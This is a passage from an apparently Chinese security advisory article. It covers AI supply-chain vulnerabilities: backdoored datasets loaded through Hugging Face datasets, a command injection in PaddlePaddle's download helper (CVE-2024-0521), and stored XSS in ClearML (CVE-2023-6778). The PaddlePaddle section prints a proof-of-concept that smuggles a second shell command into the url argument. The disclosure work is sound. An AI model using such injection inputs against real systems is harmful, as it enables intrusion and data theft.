data-ratio="0.4583333333333333" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f5e780c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLnMqEOol8xSJOHBJQN2WAqaYkPBXdQGOBML9yTfonkNRh53dTCswzgA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">利用该特性，攻击者可通过在Hugging Face、Github及其他渠道分发包含恶意后门代码的数据集，当开发者通过datasets组件加载恶意数据集进行训练或微调时，数据集里的恶意后门代码将会运行，从而导致AI模型、数据集、代码被盗或被恶意篡改。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000589" data-ratio="0.4027777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1a8723ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLicMVYts48gYTInSCo1De3SibtwDnLxmymicjM42Ax7alCWia6epJx68Bjw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">作为AI领域的基础库，datasets拥有很大的下载量，根据pypistats网站统计，最近一天下载量将近10万。一旦有恶意数据集在网络上被大范围传播与使用，将会有大量开发者遭受这种供应链后门投毒攻击。</span></p><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000590" data-ratio="0.44351851851851853" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8f87d0d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLSzkHFZcoYdADAMPo3t8fp9f4gibjribxTp2zIX1tjRY2Pian1atDsgS4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>06</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p><span style="color: rgb(23, 119, 255);font-size: 18px;letter-spacing: 0.578px;text-wrap: wrap;">AI供应链漏洞（CVE-2024-0521）</span></p></section></section><section powered-by="xiumi.us" style="display: flex;width: 492.667px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: 2;"><section style="text-align: right;transform: translate3d(15px, 0px, 0px);"><section style="background-color: rgb(23, 119, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">PaddlePaddle作为中国首个自主研发的深度学习平台，自2016年起正式开源给专业社区。它是一个拥有先进技术和丰富功能的工业平台，涵盖核心深度学习框架、基本模型库、端到端开发套件、工具和组件以及服务平台。PaddlePaddle起源于工业实践，致力于工业化。它已被制造业、农业、企业服务业等广泛采用，同时为超过 1070 万开发人员、235,000 家公司和 860,000 个模型提供服务。凭借这些优势，PaddlePaddle已经帮助越来越多的合作伙伴将AI商业化。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000591" data-ratio="0.5037037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=439dc54c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLTsKlOn8zMRdRPtFPCQryVUQEe9I1Kmse2UPGPmGuhXOVbvQoc5ic7Yg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><span style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/>受影响的代码：</span><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer">def _wget_download(url, fullname):</span></code><code><span class="code-snippet_outer">    # using wget to download url</span></code><code><span class="code-snippet_outer">    tmp_fullname = fullname + &#34;_tmp&#34;</span></code><code><span class="code-snippet_outer">    # –user-agent</span></code><code><span class="code-snippet_outer">    command = f&#39;wget -O {tmp_fullname} -t {DOWNLOAD_RETRY_LIMIT} {url}&#39;</span></code><code><span class="code-snippet_outer">    subprc = subprocess.Popen(</span></code><code><span class="code-snippet_outer">        command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE</span></code><code><span class="code-snippet_outer">    )</span></code></pre></section></section></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><span style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;">该漏洞源于 url 参数在未经适当验证或清理的情况下合并到命令字符串中的方式。如果 url 是从不受信任的来源构建的，则攻击者可能会注入恶意命令。</span></section></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><span style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/>POC验证：</span></section></section></section></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">from paddle import utils</span></code><code><span class="code-snippet_outer">utils.download._wget_download(&#34;aa; touch codexecution&#34;, &#34;bb&#34;)</span></code></pre></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><br/></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;">然后将执行以下命令： </section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">wget -O bb_tmp -t 3 aa; touch codexecutioncodeexecution</span></code></pre></section></section></section></section></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><span style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;">利用此漏洞的攻击者可以使用运行代码的进程的权限在主机系统上执行任意命令。根据使用此代码的上下文，这可能会导致未经授权的访问、数据丢失或其他潜在的有害后果。</section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><br/></section></section></span></section></section></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;">修复patch：</section></section></section></section></section></section></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000592" data-ratio="0.6943359375" data-s="300,640" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;" data-type="png" data-w="1024" src="https://wechat2rss.xlab.app/img-proxy/?k=9660b2ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLCNZLPOaLZlM0m6ictBvvtC8pZm5OJu4gSKTtHcCzTNkTKILFk3biaMag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section></section></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/></section><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><br/></section></section><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="z-index: auto;"><section style="margin-bottom: 10px;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><section style="margin-right: -18px;display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;z-index: 1;"><section powered-by="xiumi.us" style="text-align: center;"><section style="display: inline-block;width: 37px;height: 37px;vertical-align: top;overflow: hidden;background-color: rgb(23, 119, 255);border-style: solid;border-width: 5px;border-color: rgb(255, 255, 255);"><section powered-by="xiumi.us"><section style="color: rgb(255, 255, 255);"><p><strong>05</strong></p></section></section></section></section></section><section style="margin-right: 40px;padding-top: 5px;padding-bottom: 5px;padding-left: 25px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgb(23, 119, 255);height: auto;"><section powered-by="xiumi.us" style="margin-top: 5px;margin-bottom: 5px;"><section style="text-align: justify;font-size: 18px;color: rgb(23, 119, 255);"><p>AI供应链漏洞（CVE-2023-6778）</p></section></section></section></section></section></section><section style="text-indent: 2em;margin-bottom: 24px;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><p>ClearML 是一个开源平台（之前叫TRAINS），可为全球数千个数据科学团队自动化并简化机器学习解决方案的开发和管理。</p></section></section></section></section><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000598" data-ratio="0.700925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=936efde4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjL2UprJnH8fcaEqqaibHhetV0KNZmw9FP49MIct9gDCgE2LmYlcxa3INA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="font-size: 16px;letter-spacing: 0.578px;text-indent: 0em;">“项目描述”和“报告”部分中使用的 Markdown 编辑器组件未应用适当的数据清</span><span style="letter-spacing: 0.578px;text-indent: 0em;font-size: 16px;">理。</span><span style="letter-spacing: 0.578px;text-indent: 0em;font-size: 16px;">当未经筛选的数据传递到此组件时，它允许注入恶意 XSS 有效负载。</span></p><section style="text-indent: 0em;margin-bottom: 24px;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><span style="letter-spacing: 0.578px;text-indent: 2em;"><span style="color: rgb(0, 0, 0);letter-spacing: 0.578px;text-align: left;text-indent: 2em;">具体而言，此漏</span><span style="color: rgb(0, 0, 0);letter-spacing: 0.578px;text-align: left;text-indent: 2em;">洞存在于“项目描述”和“报告”部分中，使其容易受到存储的 XSS 攻击。</span><span style="letter-spacing: 0.578px;text-indent: 2em;">在项目描述的情况下，在创建项目并输入其名称和描述后，在概述中，项目描述直接传递到文件中的这一行</span><span style="letter-spacing: 0.578px;text-indent: 2em;">：</span></span></section></section></section></section><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);">/app/webapp-common/project-info/project-info.component.ts</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">this</span>.info = project.description;</span></code></pre></section><p msttexthash="38388623" msthash="49" style="border-width: 0px;border-style: solid;border-color: rgb(229, 231, 235);margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);">然后</span><span style="color: rgb(0, 0, 0);">在这里</span><span style="color: rgb(0, 0, 0);">渲染：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">sm-markdown-editor</span></span></span></code><code><span class="code-snippet_outer">    #<span class="code-snippet__attr">editor</span></span></code><code><span class="code-snippet_outer">    *<span class="code-snippet__attr">ngIf</span>=<span class="code-snippet__string">&#34;!loading&#34;</span></span></code><code><span class="code-snippet_outer">    [<span class="code-snippet__attr">class.editor</span>]=<span class="code-snippet__string">&#34;editor.editMode&#34;</span></span></code><code><span class="code-snippet_outer">    [<span class="code-snippet__attr">data</span>]=<span class="code-snippet__string">&#34;info&#34;</span></span></code><code><span class="code-snippet_outer">    [<span class="code-snippet__attr">readOnly</span>]=<span class="code-snippet__string">&#34;example&#34;</span></span></code><code><span class="code-snippet_outer">    (<span class="code-snippet__attr">saveInfo</span>)=<span class="code-snippet__string">&#34;saveInfo($event)&#34;</span></span></code><code><span class="code-snippet_outer">  &gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">div</span> <span class="code-snippet__attr">no-data</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;flex-middle overview-placeholder&#34;</span> *<span class="code-snippet__attr">ngIf</span>=<span class="code-snippet__string">&#34;!example&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">i</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;icon i-markdown xxl&#34;</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">i</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">div</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;no-data-title&#34;</span>&gt;</span>THERE’S NOTHING HERE YET…<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">div</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">button</span> (<span class="code-snippet__attr">click</span>)=<span class="code-snippet__string">&#34;editor.editClicked()&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;no-data-button btn btn-neon&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">span</span>&gt;</span>ADD PROJECT OVERVIEW<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">span</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">button</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">div</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">sm-markdown-editor</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">div</span>&gt;</span></span></code></pre></section><section style="border-width: 0px;border-style: solid;border-color: rgb(229, 231, 235);text-indent: 2em;margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">以下视频演示了如何成功利用此漏洞，重点介绍如何生成应用凭据：</span></section><section style="margin-bottom: 24px;"><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=533af30d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTvvmibSlOcicLbnhbhvBSxAFvgZSibyhYjLYqX0ACFnfic4xqhOWK3adwM0SGbiahTqDQfJUGbItthkLibIJtwkcZnsA%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=7f2b4dc2&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485595%26idx%3D1%26sn%3Db4c87d04e1659f11fad8f2f125985751%26subscene%3D0&amp;v=wxv_3297766460412657670"></video></section><section style="border-width: 0px;border-style: solid;border-color: rgb(229, 231, 235);text-indent: 2em;margin-bottom: 24px;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></section><section style="border-width: 0px;border-style: solid;border-color: rgb(229, 231, 235);text-indent: 2em;margin-bottom: 24px;"><span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍</span><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">此漏洞具有重大的安全隐患，因为它可能导致用户帐户泄露和操纵应用程序中的各种关键功能。此漏洞的潜在影响包括：</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">1.用户配置文件操作：攻击者可以利用存储的 XSS 修改应用程序内用户的配置文件名称。这可能会导致冒充、身份盗用和用户混淆。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">2.项目删除：通过使用 XSS 有效负载，攻击者可以强制受害者删除其项目，从而可能导致数据丢失和应用程序功能中断。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">‍3.应用凭据滥用（在 POC 视频中演示）：此漏洞的最严重后果是能够使用受害者的帐户生成应用凭据。应用程序凭据通常在应用程序中具有重要权限，允许用户执行各种管理操作。</span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;"><span style="color: rgb(29, 29, 30);font-size: 16px;font-style: normal;font-weight: 400;font-family: Inter, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><span style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: justify;">使用泄露的应用凭据，攻击者可以：</span><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="margin-bottom: 0px;letter-spacing: 0.578px;text-indent: 2em;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;display: flex;width: 578px;flex-flow: column;"><section style="line-height: 1.6em;text-align: justify;margin: 0px;text-indent: 0em;"><span style="font-size: 16px;letter-spacing: 0.578px;text-decoration: none;">创建管道，这可能会导致未经授权的数据处理。</span><span style="letter-spacing: 0.578px;text-indent: 0em;"></span></section></section></section></section></li><li><section style="margin-bottom: 0px;letter-spacing: 0.578px;text-indent: 2em;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;display: flex;width: 578px;flex-flow: column;"><section style="line-height: 1.6em;text-align: justify;margin: 0px;text-indent: 0em;"><span style="font-size: 16px;letter-spacing: 0.578px;text-decoration: none;">连接 ClearML 代理，可能会损害机器学习操作的完整性。</span></section><section style="line-height: 1.6em;text-align: justify;margin: 0px;text-indent: 0em;"><span style="letter-spacing: 0.578px;text-indent: 0em;"></span></section></section></section></section></section></li><li><section style="margin-bottom: 0px;letter-spacing: 0.578px;text-indent: 2em;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;display: flex;width: 578px;flex-flow: column;"><section style="line-height: 1.6em;text-align: justify;margin: 0px;text-indent: 0em;"><span style="letter-spacing: 0.578px;text-indent: 0em;">删除模型，导致潜在的数据丢失和系统中断。</span></section></section></section></section></li><li><section style="margin-bottom: 0px;letter-spacing: 0.578px;text-indent: 2em;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;font-size: 16px;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;display: flex;width: 578px;flex-flow: column;"><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;display: flex;width: 578px;flex-flow: column;"><section style="line-height: 1.6em;text-align: justify;margin: 0px;text-indent: 0em;"><span style="letter-spacing: 0.578px;text-indent: 0em;">以与受害者相同级别的权限执行其他操作，从而破坏应用程序的整体安全性和稳定性。</span></section><section powered-by="xiumi.us" style="letter-spacing: 0.578px;text-wrap-style: initial;display: flex;width: 578px;flex-flow: column;"><span style="text-indent: 2em;"><br/></span></section></section></section></section></section></li></ul><section style="margin-bottom: 0px;letter-spacing: 0.578px;text-indent: 2em;text-align: left;"><span style="background-color: rgb(255, 255, 255);color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-indent: 2em;"></span></section></section></section></section></section></section><section style="margin: 0px;padding: 0px;box-sizing: border-box;text-indent: 2em;text-align: left;"><span style="background-color: rgb(255, 255, 255);color: rgb(29, 29, 30);font-family: Inter, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-indent: 2em;"></span></section><p style="margin-bottom: 